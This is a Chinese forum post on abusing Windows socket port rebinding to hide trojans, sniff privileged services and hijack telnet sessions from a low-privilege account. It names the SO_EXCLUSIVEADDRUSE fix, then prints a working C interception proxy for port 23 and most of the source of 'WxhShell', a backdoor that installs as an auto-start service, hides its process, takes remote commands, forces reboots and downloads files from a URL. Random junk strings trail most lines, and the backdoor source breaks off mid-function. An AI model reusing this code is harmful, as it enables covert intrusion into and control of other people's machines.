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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i 4eb\j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lC.Yu$O5  
@Q3aJ98)2  
  saddr.sin_family = AF_INET; g^1M]1.f  
j ij:}.d6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =_8  
k:<yy^g$X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "-vm=d~\  
}}Eko7'^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J(S.iTD  
OGrVy=rd  
  这意味着什么?意味着可以进行如下的攻击: [,-MC7>]  
#P- S.b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W z3y+I/&  
'uBW1,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vI#\ Qe  
#OH-LWZh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D2~e@J(K  
S(Xab_DT)H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K3TMTY<p  
M=e]v9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1Af~6jz  
C2,,+* v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cxrUk$f  
T?)?"b\qz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :=^JHE{  
vj^vzFbK  
  #include 9rtcI[&?0  
  #include x\!Qe\lE  
  #include |Z$heYP:w  
  #include    (D{Fln\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   J(h=@cw  
  int main() 9~<HTH  
  { v-X1if1%  
  WORD wVersionRequested; (H<S&5[  
  DWORD ret; sn/^#Aa=N  
  WSADATA wsaData; G1vWHa7n;f  
  BOOL val; 91r#lDR  
  SOCKADDR_IN saddr; R|ViLty  
  SOCKADDR_IN scaddr; Z= dEk`  
  int err; ^x4I  
  SOCKET s; !Z,h5u\.w  
  SOCKET sc; m ,)4k&d  
  int caddsize; "kz``6C  
  HANDLE mt; q/?#+d  
  DWORD tid;   W sQo+Ua  
  wVersionRequested = MAKEWORD( 2, 2 ); 0eQyzn*98  
  err = WSAStartup( wVersionRequested, &wsaData ); U/m6% )Yx(  
  if ( err != 0 ) { ;c_X ^"d  
  printf("error!WSAStartup failed!\n"); 9n$GeRO  
  return -1; %?y ?rt  
  } \q(RqD  
  saddr.sin_family = AF_INET; 'd^U!l  
   X26gl 'U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P8Fq %k  
EMmNlj6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  .-'  
  saddr.sin_port = htons(23); Gb<)U[Hfd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t%n1TY,  
  { 0Oc' .E9  
  printf("error!socket failed!\n"); pcv(P  
  return -1; u}JL*}Q  
  } ^LE`Y>&m  
  val = TRUE; j\("d4n%C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?3Se=7 k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SY["dcx+  
  { .:*V CDOM  
  printf("error!setsockopt failed!\n"); =E8lpN'  
  return -1; g9H~\w  
  } Ix^xL+Tm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j Aw&5,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kz(%8qi8&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S`BLwnU`#  
lq}=&)%C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xXE/pIXw  
  { 5v=%pQbY  
  ret=GetLastError(); &eG,CIT  
  printf("error!bind failed!\n"); > F&Wuf  
  return -1; D:U:( pg  
  } 4T`u?T]  
  listen(s,2); }>=k!l{  
  while(1) 3205gI,  
  { K~5QL/=1  
  caddsize = sizeof(scaddr); G@oY2sM"  
  //接受连接请求 3aQWzEnh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @>_`g=  
  if(sc!=INVALID_SOCKET) h)"PPI  
  { @H"~/m_o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); j08}5Eo  
  if(mt==NULL) 0"(5\T  
  { En&ESW N  
  printf("Thread Creat Failed!\n"); Pq>r|/~_  
  break; B t-o:)pa  
  } AKC';J  
  } O7I:Y85i#O  
  CloseHandle(mt); 0PI C|  
  } $U<so{xn%  
  closesocket(s); b-'41d}Hn  
  WSACleanup(); R)"Ds}1G  
  return 0; znw\Dn?g  
  }   @Nn9- #iW  
  DWORD WINAPI ClientThread(LPVOID lpParam) Qa~o'  
  { 6&S;Nrg9  
  SOCKET ss = (SOCKET)lpParam; E'?yI' ~=  
  SOCKET sc; t?L;k+sMM  
  unsigned char buf[4096]; 9w^1/t&=04  
  SOCKADDR_IN saddr; U,yU-8z/  
  long num; $(H%|Oyn  
  DWORD val; }+h/2D  
  DWORD ret; -tAdA2?G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mVg-z~44T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <LIL{g0eX  
  saddr.sin_family = AF_INET; p [4/Nq,c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); BK]bSj  
  saddr.sin_port = htons(23); n$g g$<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H-~V:OCB~  
  { zdrCr0Rx,  
  printf("error!socket failed!\n"); Wp`wIe6  
  return -1; _(&^M[O  
  } XMd-r8yYr  
  val = 100; N W :_)1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vcy}ZqWBO  
  { NDEltG(  
  ret = GetLastError(); .$y}}/{j?[  
  return -1; ]y>)es1  
  } -Mx"ox  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +pZ, RW.D  
  { q{HfT d  
  ret = GetLastError(); s9>f5u?dK  
  return -1; Q0i.gEwe  
  } XZYpU\K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H'Bor\;[>  
  { Ol1[o  
  printf("error!socket connect failed!\n"); fpJM)HU  
  closesocket(sc); vyP3]+n  
  closesocket(ss); 1P:r=Rt/  
  return -1;  AC@WhL  
  } AA"?2dF  
  while(1) obKWnet  
  { 9bR lSb@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zs<W>gBq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (= } cc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Mo\LFxx>4{  
  num = recv(ss,buf,4096,0); :p0|4g  
  if(num>0) :'9%~q.D4  
  send(sc,buf,num,0); HpSmB[WF  
  else if(num==0) ~CgKU8  
  break; {L5!_] 6  
  num = recv(sc,buf,4096,0); hqIYo .<  
  if(num>0) N=^{FZ  
  send(ss,buf,num,0); r63_|~JVB<  
  else if(num==0) `mXbF  
  break; [`nY /g:  
  } ")'o5V  
  closesocket(ss); ;UTT>j  
  closesocket(sc);  17AJT  
  return 0 ; Dj}n!M`2I  
  } mr dG- t(k  
+b"RZ:tKp  
r|wB& PGW  
========================================================== Q?-HU,RBO  
+ntrp='7O7  
下边附上一个代码,,WXhSHELL aG.j0`)%  
7p%W)=v  
========================================================== 9 ?a-1  
-Zx hh  
#include "stdafx.h" 1t haQ"  
np,L39:sf  
#include <stdio.h> M3c!SXx\  
#include <string.h> KKP}fN  
#include <windows.h> f_a.BTtNO  
#include <winsock2.h> xP%`QTl\  
#include <winsvc.h> <3C~<  
#include <urlmon.h> /HbxY  
eYZ{mo7  
#pragma comment (lib, "Ws2_32.lib") hbRDM'  
#pragma comment (lib, "urlmon.lib") hfT HP  
WBD e`  
#define MAX_USER   100 // 最大客户端连接数 lPF(&pP  
#define BUF_SOCK   200 // sock buffer S`HshYlE q  
#define KEY_BUFF   255 // 输入 buffer VN`T:!&  
=!u9]3)  
#define REBOOT     0   // 重启 "9 ,z"k  
#define SHUTDOWN   1   // 关机 /cHd&i,>  
[ lZo'o  
#define DEF_PORT   5000 // 监听端口 SQ!wq  
^Yz.,!B[  
#define REG_LEN     16   // 注册表键长度 Q;{[U!\:  
#define SVC_LEN     80   // NT服务名长度 gZ%wm Y  
,_;+H*H>"  
// 从dll定义API iJ.P&T9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `X[L62D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m8'B7|s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n!=%MgF'*p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PhF.\W b  
eFDhJ  
// wxhshell配置信息 zK`fX  
struct WSCFG { 4np,"^c  
  int ws_port;         // 监听端口 #RAez:BI  
  char ws_passstr[REG_LEN]; // 口令 V^fSrW]  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7KIOI,qb6  
  char ws_regname[REG_LEN]; // 注册表键名 zy\p,  
  char ws_svcname[REG_LEN]; // 服务名 YoiM\gw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V#8]io  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6(Za}H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <YX)am'\y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B;xw @:H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0I_A$Z,x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'PPVM@)fU  
tdZ,sHY6  
}; /*3[9,  
G{$(t\>8  
// default Wxhshell configuration :K&>  
struct WSCFG wscfg={DEF_PORT, @8WG  
    "xuhuanlingzhe", i(DoAfYf/q  
    1, /MFy%=0l  
    "Wxhshell", _=W ^#z  
    "Wxhshell", ~Wy&xs ZH  
            "WxhShell Service", f>.A^?  
    "Wrsky Windows CmdShell Service", U:6 J~  
    "Please Input Your Password: ", Ei!t#'*D<  
  1, vzD3_ ?D  
  "http://www.wrsky.com/wxhshell.exe", Q` mw2$zv  
  "Wxhshell.exe" 3C'`c=  
    }; `k y>M-  
v~^c-]4I  
// 消息定义模块 ?^]29p_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W+k`^A|@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P Z5BtDm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7tWt3  
char *msg_ws_ext="\n\rExit."; 8B ZTHlUB  
char *msg_ws_end="\n\rQuit."; )zw}+z3st  
char *msg_ws_boot="\n\rReboot..."; B.wihJVDg  
char *msg_ws_poff="\n\rShutdown..."; ]~S,K}T  
char *msg_ws_down="\n\rSave to "; }p-<+sFo  
ly`p)6#R=  
char *msg_ws_err="\n\rErr!"; C =fs[  
char *msg_ws_ok="\n\rOK!"; Y4*ezt:;Q  
+g36,!q  
char ExeFile[MAX_PATH]; 'Okitq+O  
int nUser = 0; ! K? o H  
HANDLE handles[MAX_USER]; bz!9\D|h  
int OsIsNt; hKq <e%oVH  
W\09h Z6  
SERVICE_STATUS       serviceStatus; r~q*E'n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s+Qm/ h2  
Mazjn?f  
// 函数声明 9L3#aE]C  
int Install(void); i8R.Wl$l  
int Uninstall(void); *&p`8:  
int DownloadFile(char *sURL, SOCKET wsh); zTi %j$o  
int Boot(int flag); `P1jg$(eA  
void HideProc(void); 2yqm$i9C  
int GetOsVer(void); NJJsg^'  
int Wxhshell(SOCKET wsl); >XzCHtEP  
void TalkWithClient(void *cs); O8BxXa@5  
int CmdShell(SOCKET sock); $47cKit|k:  
int StartFromService(void); @ yJ/!9?^  
int StartWxhshell(LPSTR lpCmdLine); fdr.'aMf%  
#PYTFB%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BNU]NcA#*,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'Y23U7 n0B  
hpJ[VKe  
// 数据结构和表定义 HfN-WYiR  
SERVICE_TABLE_ENTRY DispatchTable[] = 9/Q_Jv-Q  
{ J/(3: a>  
{wscfg.ws_svcname, NTServiceMain}, ".+wz1  
{NULL, NULL} Id8^6FLw  
}; p)}iUU2N  
`q Sfo`  
// 自我安装 RB1c!h$u  
int Install(void) cVv>"oF;~*  
{ PAF2=  
  char svExeFile[MAX_PATH]; 1_vaSEov  
  HKEY key; n"B"Aysz  
  strcpy(svExeFile,ExeFile); J;+A G^U<  
TbyQ'MbUv  
// 如果是win9x系统,修改注册表设为自启动 SF*! Z2K  
if(!OsIsNt) { ahgm*Cpc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cy=,Dr9O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $q#|B3N%  
  RegCloseKey(key); v8! 1"FYL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X$,#OR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :b+C<Bp64r  
  RegCloseKey(key); 7aTo! T  
  return 0; :32  
    } M ,.++W\  
  } C[ <OF/  
} `o(PcX3/}  
else { e9r#r~Qq|  
f:L%th  
// 如果是NT以上系统,安装为系统服务 uiq)?XUKv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,6rg00wGE  
if (schSCManager!=0) kM>0>fkjE  
{ =8OPj cX.V  
  SC_HANDLE schService = CreateService 7NG^X"N{Ul  
  ( H?8uy_Sc  
  schSCManager, "Yw-1h`fR  
  wscfg.ws_svcname, 2d+IROA  
  wscfg.ws_svcdisp, )W9 $_<Z  
  SERVICE_ALL_ACCESS, @ -pi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;zI;oY#.y  
  SERVICE_AUTO_START, }x % ;y]S  
  SERVICE_ERROR_NORMAL, `T  $lTP  
  svExeFile, qe!`LeT#  
  NULL, rC~hjViG.  
  NULL, ~X;r}l=k<  
  NULL, +) 2c\1  
  NULL, yBO88rfh>  
  NULL Tysh~C|1  
  ); q[]EVs0$ew  
  if (schService!=0) (1\!6  
  { jM1|+o*Wr  
  CloseServiceHandle(schService); u>: sXm  
  CloseServiceHandle(schSCManager); #tG/{R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -)@DH;[tb  
  strcat(svExeFile,wscfg.ws_svcname); 7SYU^GD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O6gI%Jdp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?bbu^;2*f  
  RegCloseKey(key); ?b, eZ+t  
  return 0; %w7J0p  
    } cT^,[ 3i:c  
  } eG26m_S=  
  CloseServiceHandle(schSCManager); K' N`rx.7  
} |;{^Mci%  
} w C]yE\P1  
j<!rc>)2+L  
return 1; 0}$",M!p  
} 0+IJ, ;Wx  
1vQf=t %lw  
// 自我卸载 <x DD*u  
int Uninstall(void) ^.jIus5  
{ QFIdp R.  
  HKEY key; X tZ0z?  
%,%s09tO  
if(!OsIsNt) { C$ cX{hV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S*rgYe!E  
  RegDeleteValue(key,wscfg.ws_regname); w'ZL'/d  
  RegCloseKey(key); EL80f>K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O?NAbxkp  
  RegDeleteValue(key,wscfg.ws_regname); lwPK^)|}  
  RegCloseKey(key); |0n h  
  return 0; l epR}  
  } Y ~RPspHW  
} 2Jrr;"r  
} %*]3j^b Q+  
else { E,E:WuB  
lY!`<_Am  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u9}}}UN!  
if (schSCManager!=0) f33'2PYl  
{ 95^w" [}4Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3nf+ imAF  
  if (schService!=0) Rj9ME,u  
  { \tLJ( <8  
  if(DeleteService(schService)!=0) { iyrUY  
  CloseServiceHandle(schService); V| z|H$-  
  CloseServiceHandle(schSCManager); ^sd+s ~ xx  
  return 0; NS6Bi3~  
  } zAt!jP0E  
  CloseServiceHandle(schService); N!m-gymmF  
  } <=n$oMO  
  CloseServiceHandle(schSCManager); ymXR#E  
} 9I=J#Hi|+  
} >[,Rt"[V  
1 9a"@WB@  
return 1; j(6:   
} +pc_KR  
wA) NB  
// 从指定url下载文件 Ps Qq ^/  
int DownloadFile(char *sURL, SOCKET wsh) BIDmZU9tL  
{  ^"K  
  HRESULT hr; yAR''>  
char seps[]= "/"; 0}hN/2}&  
char *token; jfZ(5Qu3.H  
char *file; ?/)Mt(p  
char myURL[MAX_PATH]; :h0as!2@dp  
char myFILE[MAX_PATH]; v>.nL(VLjP  
cEi{+rfZd|  
strcpy(myURL,sURL); W&}YM b  
  token=strtok(myURL,seps); V=k!&xN~  
  while(token!=NULL) ui`xgR\6Rh  
  { %Nd|VAe  
    file=token; qfvd( w  
  token=strtok(NULL,seps); 8qp!S1Qnv  
  } au}rS0) +  
oP5G*AFUq  
GetCurrentDirectory(MAX_PATH,myFILE); |~hSK  
strcat(myFILE, "\\"); ST)l0c+Y>  
strcat(myFILE, file); I>bLgt]u3  
  send(wsh,myFILE,strlen(myFILE),0); Pk[f_%0  
send(wsh,"...",3,0); 1gts=g.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qqQnL[`)C  
  if(hr==S_OK) FyJI@PZdI-  
return 0; ;SeDxyKG  
else @)m[: n  
return 1; UP 1Y3  
W"AWhi{h  
} UF=5k~7<b  
3 =@7:4 A  
// 系统电源模块 !Zgb|e8<  
int Boot(int flag) HD?z   
{ AvRZf-Geg  
  HANDLE hToken; Crh5^?  
  TOKEN_PRIVILEGES tkp; ~ygiKsD6b  
Hx2UDHF  
  if(OsIsNt) { y.JAtsxD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `r'q(M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XJ?|\=]  
    tkp.PrivilegeCount = 1; U}MU>kzb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |^C?~g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M:6H%6eT  
if(flag==REBOOT) { -]~U_J]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >pO[ S[  
  return 0; j\q1b:pE  
} wd~e3%JM  
else { ,!F'h:   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TgJx%  
  return 0; %MU<S9k  
} 1sYwFr5  
  } HB{w:  
  else { (<s7X$(]e  
if(flag==REBOOT) { R +P,kD?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xO9,,w47  
  return 0; $%`OJf*k  
} )9##mUt'}  
else { JxiLjvIq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f|WNPFQ$x  
  return 0; 'SY jEhvw  
} f,d @*E  
} G~a;q+7v'$  
n0 _:!]k^  
return 1; eT[ ,k[#q  
} RZjTUMAz4  
[WXtR  
// win9x进程隐藏模块 dE_BV=H{  
void HideProc(void) ,[,+ _A  
{ yx3M0Qo  
g~h`wv'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '`T.K<  
  if ( hKernel != NULL ) v+znKpE  
  { ^TVy :5Ag  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y mY,*Rb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hZY+dHa]  
    FreeLibrary(hKernel); kWjCSC>jA  
  } J [2;&-@  
0?BT*  
return; Ooc,R(  
} |iLeOztuE  
i cQsA  
// 获取操作系统版本 lEQ 63)Z  
int GetOsVer(void) zu(/ c  
{ Ec8Y}C,{7<  
  OSVERSIONINFO winfo; cInzwdh7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BqvOi~ l  
  GetVersionEx(&winfo); gmLGK1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FgE6j;   
  return 1; D *Siy;  
  else r&A#h;EQX2  
  return 0; 3lM mSKN  
} g v&xC 6>  
3*CF!Y%  
// 客户端句柄模块 <\8dh(>  
int Wxhshell(SOCKET wsl) Yt++  ?  
{ ;EW]R9HCH  
  SOCKET wsh; ~PHAC@pU  
  struct sockaddr_in client; Dgj`_yd  
  DWORD myID; Y gQ_P4B;  
} !pC}m  
  while(nUser<MAX_USER) #lM!s  
{ Mto3Ryic!  
  int nSize=sizeof(client); W>wIcUP<<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %LXk9K^]e  
  if(wsh==INVALID_SOCKET) return 1; Q {3"&  
@'?<9 2A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _T6WA&;8  
if(handles[nUser]==0) [`=|^2n?  
  closesocket(wsh); ?:s`}b  
else zbddn4bW9  
  nUser++; 28d:  
  } JiDX|Q<c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WU Q2[)<  
kR%CSLOVy  
  return 0; N12K*P[!  
} 702&E(rx,  
NVS U)#  
// 关闭 socket r5(OH3  
void CloseIt(SOCKET wsh) `dMOBYV  
{ g`y >)N/  
closesocket(wsh); }LM^>M%  
nUser--; KAjKv_6=g  
ExitThread(0); Fq&@dxN3  
} l|%7)2TyG)  
PD|I3qv~  
// 客户端请求句柄 Iu 2RK  
void TalkWithClient(void *cs) q_g'4VZv  
{ $T^O38$  
8|dl t$  
  SOCKET wsh=(SOCKET)cs; j08 G-_Gjn  
  char pwd[SVC_LEN]; FnP/NoZa>  
  char cmd[KEY_BUFF]; 1mJBxg}(  
char chr[1]; `;(/W h  
int i,j; s_.q/D@vu  
M98dQ%4I  
  while (nUser < MAX_USER) { [m|\N  
rD%(*|Y"c  
if(wscfg.ws_passstr) { CP7Zin1S/w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AXH4jQw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]QtdT8~  
  //ZeroMemory(pwd,KEY_BUFF); 5[al^'y  
      i=0; x|U]x  
  while(i<SVC_LEN) { ti`z:8n7  
m589C+7  
  // 设置超时 k^C;"awh  
  fd_set FdRead; .',ikez  
  struct timeval TimeOut; Fng":28o  
  FD_ZERO(&FdRead); lR{eO~'~V  
  FD_SET(wsh,&FdRead); #| A @  
  TimeOut.tv_sec=8; Y%^&aacZ  
  TimeOut.tv_usec=0; =5oFutg`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }dAb} 0XK.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zul]ekv  
EqUiC*u8{I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :QUZ7^u  
  pwd=chr[0]; Dd!MG'%hlb  
  if(chr[0]==0xd || chr[0]==0xa) { H6/@loO!Xy  
  pwd=0; hNyYk(t^  
  break; @xtcjB9  
  } nDiD7:e7=  
  i++; Y_p   
    } M7eO5  
kR-N9|>i  
  // 如果是非法用户,关闭 socket WyA>OB<Zeq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mf,mKgfG  
} X~P0Q  
[k@D}p x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gw~^6(Qu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J^ P/2a#a  
cP$b>3O  
while(1) { G&/}P$  
fyYv}z  
  ZeroMemory(cmd,KEY_BUFF); . 2.$Rq  
feIAgd},  
      // 自动支持客户端 telnet标准   wx}\0(]Gl  
  j=0; =(Mv@eA"  
  while(j<KEY_BUFF) { ~)tMR9=wX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OrPIvP<w@  
  cmd[j]=chr[0]; V F6OC4 K  
  if(chr[0]==0xa || chr[0]==0xd) { 7T_g?!sdMh  
  cmd[j]=0; @s/;y VVq  
  break; x\3 ` W  
  } 89`AF1  
  j++; _<pG}fmR  
    } |ng[s6uf  
9C|T/+R  
  // 下载文件 9 ?MOeOV8  
  if(strstr(cmd,"http://")) { u 6 la  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -*e$>w[.N  
  if(DownloadFile(cmd,wsh)) &^63*x;hE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e~'y%|D  
  else udp&U+L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); un W{ZfEC  
  } p tv  
  else { 6:-qL}  
@r+ErFI  
    switch(cmd[0]) { P6i4Dr  
  KbMgatI/  
  // 帮助 X[j4V<4O  
  case '?': { z+PSx'#}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _f|Au`7m  
    break; DcSL f4A  
  } ]'~'V2Ey  
  // 安装 1^!= J<`K;  
  case 'i': { |]+m<Dpyr2  
    if(Install()) Arir=q^2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Hff/~J  
    else H",yVD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 73Mh65  
    break; r$k *:A$%  
    } o$d; Y2K  
  // 卸载 y\5V (Q\  
  case 'r': { S,G=MI"  
    if(Uninstall()) +_:Ih,-   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0m7J'gm{  
    else %[lX  H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r5lp<md  
    break; DXSZ#^,S[W  
    } ;NLL?6~  
  // 显示 wxhshell 所在路径 L9fhe,en  
  case 'p': { H!Uy4L~>  
    char svExeFile[MAX_PATH]; v :6`(5  
    strcpy(svExeFile,"\n\r"); pUwx`"DrR  
      strcat(svExeFile,ExeFile); e<~uU9 lg1  
        send(wsh,svExeFile,strlen(svExeFile),0); p'KU!I }  
    break; Tud[VS?99  
    } 6by5VESx  
  // 重启 _m3PAD4  
  case 'b': { zoC/Hm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yi7`iC  
    if(Boot(REBOOT)) EZ1H0fm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6/nhz6=  
    else { swi|   
    closesocket(wsh); K`(STvtM  
    ExitThread(0); !fzqpl\ze  
    } B964#4& 9  
    break; KDRIy@[e  
    } ThJLaNS  
  // 关机 4xtbP\=   
  case 'd': { }(op;7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C<qJnB:B 9  
